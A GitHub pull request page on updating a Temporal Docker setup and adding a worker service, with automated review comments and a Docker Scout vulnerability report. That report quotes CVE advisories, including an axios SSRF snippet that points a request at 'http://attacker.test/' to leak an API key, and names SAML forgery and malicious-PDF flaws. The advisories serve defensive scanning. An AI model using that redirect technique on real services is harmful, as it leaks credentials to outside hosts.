Skip to content

feat(docker): update Temporal setup and add worker configuration #28

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 10 commits into from
May 23, 2025

Conversation

anatolyshipitz
Copy link
Collaborator

  • Updated the base image for the Temporal Dockerfile to version 1.27.2.
  • Changed database configuration in docker-compose.yml to use postgres12 and added a new environment variable for visibility database.
  • Introduced a new Dockerfile for the Temporal worker, defining multi-stage builds for development and production environments.
  • Enhanced healthcheck command in the Temporal Dockerfile for improved service monitoring.
  • Added error handling in the main worker script to ensure unhandled errors are logged.

These changes improve the setup and configuration of the Temporal service and its workers, enhancing reliability and maintainability.

- Updated the base image for the Temporal Dockerfile to version 1.27.2.
- Changed database configuration in `docker-compose.yml` to use `postgres12` and added a new environment variable for visibility database.
- Introduced a new Dockerfile for the Temporal worker, defining multi-stage builds for development and production environments.
- Enhanced healthcheck command in the Temporal Dockerfile for improved service monitoring.
- Added error handling in the main worker script to ensure unhandled errors are logged.

These changes improve the setup and configuration of the Temporal service and its workers, enhancing reliability and maintainability.
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner May 22, 2025 14:17
Copy link

coderabbitai bot commented May 22, 2025

Warning

Rate limit exceeded

@anatolyshipitz has exceeded the limit for the number of commits or files that can be reviewed per hour. Please wait 4 minutes and 11 seconds before requesting another review.

⌛ How to resolve this issue?

After the wait time has elapsed, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans have higher rate limits than the trial, open-source and free plans. In all cases, we re-allow further reviews after a brief timeout.

Please see our FAQ for further information.

📥 Commits

Reviewing files that changed from the base of the PR and between 9b04e97 and 39f1d79.

⛔ Files ignored due to path filters (1)
  • workers/main/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (1)
  • workers/main/package.json (1 hunks)
📝 Walkthrough

"""

Walkthrough

This update modernizes Temporal service deployment by upgrading the base image, refactoring PostgreSQL configuration to use environment variables, and simplifying health checks. It introduces a multi-stage Dockerfile for the Temporal worker, adds a dedicated worker service to Docker Compose, and ensures robust worker process error handling with immediate invocation and error logging in the worker entrypoint.

Changes

File(s) Change Summary
Dockerfile.temporal Upgraded base image, switched PostgreSQL setup to environment variables, removed explicit schema setup commands, updated health check command and parameters, changed exposed port to 7233, and simplified comments.
Dockerfile.temporal-worker-main Added a new multi-stage Dockerfile for the worker, supporting development, build, and production stages with dependency management and non-root execution.
docker-compose.yml Changed Temporal DB environment variable, added visibility DB variable, removed port mapping, and introduced a new temporal-worker-main service with development configuration and dependencies.
workers/main/src/index.ts Added exported handleRunError function; immediately invoked run function with .catch calling handleRunError to log errors and exit process.
workers/main/src/tests/index.test.ts Added tests for handleRunError verifying error logging and process exit behavior using mocks.
workers/main/eslint.config.mjs Disabled '@typescript-eslint/require-await' rule and allowed console.error without warnings.
workers/main/package.json Added runtime dependencies for Temporal client and worker, MySQL driver, and Zod; upgraded @types/node; fixed ts-node version; reordered dev dependencies.
workers/main/tsconfig.json Changed root directory for compilation to parent directory and included sibling common directory files.
.github/workflows/code-quality.yml Changed dependency installation commands from npm ci to npm install in lint and sonarqube jobs.

Sequence Diagram(s)

sequenceDiagram
    participant Developer
    participant Docker Compose
    participant Temporal Service
    participant Temporal Worker

    Developer->>Docker Compose: up
    Docker Compose->>Temporal Service: start with env vars for PostgreSQL
    Docker Compose->>Temporal Worker: start (dev mode, watches for changes)
    Temporal Worker->>Temporal Worker: run() (immediately invoked)
    Temporal Worker->>Temporal Worker: Log error and exit if run() fails
    Temporal Worker->>Temporal Service: Connects to Temporal via network
Loading

Possibly related PRs

Suggested reviewers

  • DenisChistyakov
  • killev
    """

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

Copy link

github-actions bot commented May 22, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:f1f160ca92d755a1cc3608d43e17979574bc9d1f928190e2294aa1001ce72cfc
vulnerabilitiescritical: 2 high: 5 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/[email protected]

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.029%
EPSS Percentile7th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.038%
EPSS Percentile10th percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.021%
EPSS Percentile4th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.108%
EPSS Percentile30th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.317%
EPSS Percentile54th percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score13.314%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (1)
Dockerfile.temporal (1)

23-23: Fixed port exposure.

Exposing a fixed port (7233) instead of using the TEMPORAL_PORT variable might simplify some configurations, but it reduces flexibility.

Consider using the TEMPORAL_PORT variable for more flexibility:

-EXPOSE 7233
+EXPOSE $TEMPORAL_PORT
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 10923c0 and f04cb9e.

📒 Files selected for processing (4)
  • Dockerfile.temporal (1 hunks)
  • Dockerfile.temporal-worker-main (1 hunks)
  • docker-compose.yml (2 hunks)
  • workers/main/src/index.ts (1 hunks)
🔇 Additional comments (10)
workers/main/src/index.ts (1)

9-12: Good addition of error handling for the worker process.

The immediate invocation of the exported run function with error handling ensures that unhandled promise rejections are properly caught, logged, and result in a non-zero exit code. This is crucial for containerized worker processes as it allows the orchestration system to detect failures.

Consider these optional enhancements:

  1. Add more structured logging with additional context
  2. Implement graceful shutdown by handling process signals (SIGTERM, SIGINT)
run().catch((err) => {
-  console.error('Unhandled error in main:', err);
+  console.error('Unhandled error in main worker process:', err.message, { stack: err.stack });
+  // Allow any pending logs to be flushed before exiting
   process.exit(1);
});

+// Handle graceful shutdown
+process.on('SIGTERM', async () => {
+  console.log('Received SIGTERM, shutting down gracefully');
+  // Add cleanup code here (close connections, etc.)
+  process.exit(0);
+});
docker-compose.yml (2)

91-92: Database configuration improvements.

Updating the DB type to postgres12 and adding the visibility database configuration improves the Temporal setup by explicitly configuring the visibility store.


149-168: Well-structured Temporal worker service configuration.

The new temporal-worker-main service follows Docker Compose best practices:

  • Uses health check dependency to ensure proper startup order
  • Mounts source directories for live development
  • Properly isolates node_modules
  • Includes watch configuration for automatic rebuilds

Consider adding environment variables for the worker service, especially for connecting to the Temporal server:

  temporal-worker-main:
    container_name: temporal-worker-main
    build:
      context: .
      dockerfile: Dockerfile.temporal-worker-main
      target: dev
    depends_on:
      temporal:
        condition: service_healthy
+   environment:
+     - TEMPORAL_ADDRESS=temporal:${TEMPORAL_PORT:-7233}
+     - TEMPORAL_NAMESPACE=default
    volumes:
      - ./workers/main:/app/main
      - ./workers/common:/app/common
      - /app/main/node_modules
    networks:
      - app-network
Dockerfile.temporal-worker-main (4)

1-7: Well-designed dependency stage for efficient caching.

The deps stage properly separates dependency installation from code copying, which optimizes build caching. Installing netcat enables network connectivity checks that could be useful for health checks.


8-17: Good development environment setup with hot reloading.

The dev stage correctly sets up a development environment with NODE_ENV and debugging enabled. Using nodemon with TypeScript support enables efficient development workflow by watching both local and shared code directories.


18-25: Clean build stage with proper dependency inheritance.

The build stage correctly copies dependencies from the deps stage and builds the TypeScript application.


26-36: Security-focused production stage using distroless.

Using a distroless image for production is an excellent security practice that reduces the attack surface by eliminating unnecessary packages. Running as a non-root user further enhances security.

There's a potential path inconsistency between the COPY destination and the CMD path:

COPY --from=build /app/main/dist ./build
COPY --from=build /app/main/node_modules ./node_modules

USER node
-CMD ["node", "build/worker.js"]
+CMD ["node", "build/index.js"]

Also consider adding a health check for the production stage:

USER node
+HEALTHCHECK --interval=10s --timeout=5s --retries=3 \
+  CMD ["node", "-e", "const http=require('http');const options={host:'localhost',port:process.env.HEALTH_PORT||3000,path:'/health',timeout:2000};const req=http.request(options,r=>{if(r.statusCode==200){process.exit(0)}process.exit(1)});req.on('error',()=>process.exit(1));req.end()"]

CMD ["node", "build/worker.js"]
Dockerfile.temporal (3)

1-1: Good update to newer Temporal base image.

Updating to version 1.27.2 brings in the latest features, performance improvements, and security fixes from Temporal.


5-15: Improved configuration with explicit environment variables.

Adding build arguments and corresponding environment variables for PostgreSQL configuration makes the setup more flexible and customizable. This is a good practice for containerized applications.


17-18: Simplified and improved health check.

The health check command has been simplified and timing parameters have been adjusted for quicker health status detection. This will improve the reliability of service dependencies.

Consider using variables instead of hardcoded values in the health check command:

HEALTHCHECK --interval=10s --timeout=5s --start-period=30s --retries=5 \
-  CMD sh -c "tctl --address temporal:7233 cluster health"
+  CMD sh -c "tctl --address $HOST:$TEMPORAL_PORT cluster health"

coderabbitai[bot]
coderabbitai bot previously approved these changes May 22, 2025
…tests

- Extracted error handling logic into a separate function `handleRunError` for better modularity and reusability.
- Updated the main script to use the new error handling function.
- Added unit tests for `handleRunError` to ensure proper logging and exit behavior on unhandled errors.

These changes improve the robustness of error handling in the application and enhance test coverage for critical functionality.
coderabbitai[bot]
coderabbitai bot previously approved these changes May 22, 2025
- Modified ESLint rules to allow console error logging while maintaining warnings for other console methods.
- Refactored test imports for better organization and clarity.
- Enhanced the `handleRunError` test to ensure proper error logging and process exit behavior, improving test reliability.

These changes improve code quality and testing practices, ensuring better adherence to ESLint rules and more robust error handling tests.
coderabbitai[bot]
coderabbitai bot previously approved these changes May 22, 2025
- Removed unnecessary installation of netcat from the Dockerfile for all stages.
- Streamlined the build process by eliminating redundant commands, focusing on npm installations.

These changes enhance the efficiency of the Dockerfile, reducing build time and complexity.
coderabbitai[bot]
coderabbitai bot previously approved these changes May 22, 2025
@anatolyshipitz anatolyshipitz self-assigned this May 22, 2025
feat(dependencies): update package dependencies and TypeScript
configuration

- Added new dependencies: `@temporalio/client`, `@temporalio/worker`,
`mysql2`, and `zod` to `package.json`.
- Updated `@types/node` version to `22.15.21` for improved type
definitions.
- Adjusted `tsconfig.json` to change the `rootDir` to `..` and include
TypeScript files from the `../common` directory.

These changes enhance the project's dependency management and TypeScript
configuration, ensuring compatibility with the latest packages and
improving code organization.
Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's good in general. I'd love to avoid using console.log (as well as add ESLint rule)

@anatolyshipitz anatolyshipitz mentioned this pull request May 22, 2025
1 task
coderabbitai[bot]
coderabbitai bot previously approved these changes May 22, 2025
- Introduced `DefaultLogger` for consistent error logging in the main worker script.
- Updated `handleRunError` to utilize the logger for error messages and added a delay before exiting the process.
- Refactored the `run` function to simplify its return statement.
- Enhanced unit tests to verify the new logging behavior and ensure proper process exit.

These changes improve the clarity and reliability of error handling in the application, ensuring that errors are logged consistently and the process exits gracefully.
- Removed commented-out code related to timer behavior in the `handleRunError` tests.
- Improved clarity and focus of the tests by eliminating unnecessary comments.

These changes enhance the readability and maintainability of the test suite, ensuring that the tests are concise and relevant.
coderabbitai[bot]
coderabbitai bot previously approved these changes May 22, 2025
… workflow

- Changed the dependency installation command from `npm ci` to `npm install` in the code quality workflow for better compatibility with the project setup.
- This adjustment ensures that the workflow installs the latest dependencies as specified in `package.json`, improving the reliability of the build process.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🔭 Outside diff range comments (2)
.github/workflows/code-quality.yml (2)

45-48: 🛠️ Refactor suggestion

Add linting for the new Temporal worker Dockerfile.

Since you've added a new Dockerfile for the Temporal worker, you should add a linting step for it to maintain consistency with your existing Docker linting practices.

      - name: Lint Dockerfile.temporal
        run: docker run --rm -i hadolint/hadolint < Dockerfile.temporal
+     - name: Lint Dockerfile.temporal-worker-main
+       run: docker run --rm -i hadolint/hadolint < Dockerfile.temporal-worker-main

57-63: 🛠️ Refactor suggestion

Add the new Temporal worker to the Docker security scanning matrix.

Since you've added a new Dockerfile for the Temporal worker, you should add it to the Docker Scout security scanning matrix for comprehensive security coverage.

        service:
          - name: n8n
            dockerfile: Dockerfile.n8n
            tag: n8n-test:latest
          - name: temporal
            dockerfile: Dockerfile.temporal
            tag: temporal-test:latest
+         - name: temporal-worker-main
+           dockerfile: Dockerfile.temporal-worker-main
+           tag: temporal-worker-main-test:latest
🧹 Nitpick comments (2)
.github/workflows/code-quality.yml (1)

18-18: Consider using npm ci instead of npm install for CI environments.

The change from npm ci to npm install in the CI workflow may lead to inconsistent builds since npm install can modify package-lock.json and install different versions based on semver ranges. npm ci is generally recommended for CI environments as it ensures reproducible builds by installing exact versions from package-lock.json.

If there's a specific reason for using npm install (such as compatibility with new dependencies), please document this reasoning. Otherwise, consider reverting to npm ci:

-        run: cd workers/main && npm install
+        run: cd workers/main && npm ci

Also applies to: 31-31

workers/main/src/index.ts (1)

13-17: Consider extending the timeout before process exit.

The current 100ms timeout before process exit might not be sufficient for all logs to be flushed or for cleanup operations to complete. Consider increasing this value to ensure graceful shutdown.

export function handleRunError(err: Error): never {
  logger.error(`Unhandled error in main: ${err.message}`);
-  setTimeout(() => process.exit(1), 100);
+  setTimeout(() => process.exit(1), 1000); // Allow more time for logs to flush and cleanup
  throw err;
}
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between f4207fb and 9b04e97.

⛔ Files ignored due to path filters (1)
  • workers/main/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (5)
  • .github/workflows/code-quality.yml (2 hunks)
  • workers/main/package.json (1 hunks)
  • workers/main/src/__tests__/index.test.ts (1 hunks)
  • workers/main/src/index.ts (1 hunks)
  • workers/main/tsconfig.json (1 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
  • workers/main/src/tests/index.test.ts
🔇 Additional comments (6)
workers/main/tsconfig.json (1)

4-4:

❓ Verification inconclusive

Configuration supports shared code structure but verify module resolution.

The changes to rootDir and include patterns support sharing code with a common directory, which aligns well with the multi-stage Dockerfile approach. However, ensure that module paths will resolve correctly when referenced from different file locations.

Run this script to verify TypeScript module resolution is working correctly:

Also applies to: 11-11


🏁 Script executed:

#!/bin/bash
# Verify TypeScript compilation with the new configuration

cd workers/main
# Attempt to compile with the new configuration
npx tsc --noEmit

# Check if there are any TypeScript files importing from the common directory
echo "Files importing from common directory:"
grep -r "from '../common" . --include="*.ts"

Length of output: 800


🏁 Script executed:

#!/bin/bash
# Check for TypeScript in dependencies
echo "Root package.json TypeScript entries:"
grep -R "\"typescript\"" -n package.json || echo "No TypeScript entry in root package.json"

echo ""
echo "workers/main/package.json TypeScript entries:"
if [ -f workers/main/package.json ]; then
  grep -R "\"typescript\"" -n workers/main/package.json || echo "No TypeScript entry in workers/main/package.json"
else
  echo "workers/main/package.json not found"
fi

echo ""
echo "workers/main/tsconfig.json (first 200 lines):"
sed -n '1,200p' workers/main/tsconfig.json

Length of output: 901


Verify TypeScript compilation and module resolution in workers/main

The rootDir: ".." and include: ["./**/*.ts","../common/**/*.ts"] allow shared code, but we couldn’t confirm a successful compile in the sandbox. Please ensure the local compiler is installed and that imports from ../common resolve without errors.

• In workers/main/package.json you have "typescript": "5.8.3"
• Run in workers/main:

npm install
npx tsc --noEmit

and address any errors.
• Grep your source for from '../common (or other shared-code paths) to catch unresolved imports.
• If you prefer cleaner module paths, consider adding "paths" mappings in tsconfig.

workers/main/src/index.ts (3)

1-3: Good addition of structured logging.

Using Temporal's DefaultLogger is a proper approach for integrating with the Temporal ecosystem. Setting the log level to ERROR is appropriate for production environments.


9-11: Run function is a placeholder that needs implementation.

The run function is currently just a placeholder that returns true without doing any actual work. This needs to be implemented to start the Temporal worker.

The function should register workflows and activities with the Temporal worker and start it. For example:

export async function run(): Promise<boolean> {
-  return true;
+  const worker = await Worker.create({
+    workflowsPath: require.resolve('./workflows'),
+    activities: require('./activities'),
+    taskQueue: 'main-task-queue',
+    connection: await NativeConnection.connect({
+      address: process.env.TEMPORAL_ADDRESS || 'localhost:7233',
+    }),
+  });
+  
+  await worker.run();
+  return true;
}

19-19: Good pattern for immediate worker invocation with error handling.

The immediate invocation of the run function with proper error handling ensures that any unhandled errors will be properly logged before the process exits, which aligns with the PR objective for improving error handling.

workers/main/package.json (2)

22-22: Fixing ts-node version is a good practice for stability.

Changing from "^10.9.1" to "10.9.1" for ts-node ensures a consistent version is used across all environments, which improves build stability.


12-12:

✅ Verification successful

Verify compatibility with Node.js 22.x types.

Upgrading @types/node from version 20.x to 22.x is a major version jump that might introduce compatibility issues. Ensure your code doesn't use APIs that have changed between these versions.


🏁 Script executed:

#!/bin/bash
# Check if the project is using Node.js 22.x features or deprecated APIs

cd workers/main

# Check Node.js version in use
echo "Current Node.js version:"
node -v

# Look for potential compatibility issues by checking for common Node.js APIs that 
# might have changed between v20 and v22
echo "Checking for potential compatibility issues..."
grep -r "fs\." --include="*.ts" .
grep -r "path\." --include="*.ts" .
grep -r "process\." --include="*.ts" .
grep -r "buffer\." --include="*.ts" .
grep -r "stream\." --include="*.ts" .

Length of output: 501


Compatibility with Node.js types v22 verified

  • CI/runtime is using Node.js v24.0.2, so it’s newer than the types.
  • A grep for common Node.js APIs (fs, path, buffer, stream, process) only found a process.exit(1) call, which remains unchanged between v20→v22.
  • No deprecated or removed APIs are in use.

It’s safe to upgrade @types/node from 20.x to 22.x.

- Added `@temporalio/activity`, `@temporalio/workflow`, and `source-map-support` to both `package.json` and `package-lock.json`.
- Updated the versioning for existing Temporal dependencies to ensure compatibility.

These changes enhance the project's functionality by integrating additional Temporal features and improving error stack trace support.
coderabbitai[bot]
coderabbitai bot previously approved these changes May 22, 2025
…pendencies

- Added new dependencies including `@emnapi/core`, `@emnapi/runtime`, and various `@esbuild` modules to `package-lock.json`.
- Updated existing dependencies such as `@grpc/grpc-js` and `minimatch` to newer versions.
- Removed outdated dependencies and ensured compatibility with the latest package versions.

These changes enhance the project's dependency management, ensuring that the application utilizes the latest features and improvements from the updated packages.
Copy link

@anatolyshipitz anatolyshipitz requested a review from killev May 22, 2025 16:46
@anatolyshipitz anatolyshipitz mentioned this pull request May 22, 2025
1 task
Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@anatolyshipitz anatolyshipitz merged commit c8ba7f8 into main May 23, 2025
12 checks passed
@anatolyshipitz anatolyshipitz deleted the feature/add-worker branch May 23, 2025 06:05
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants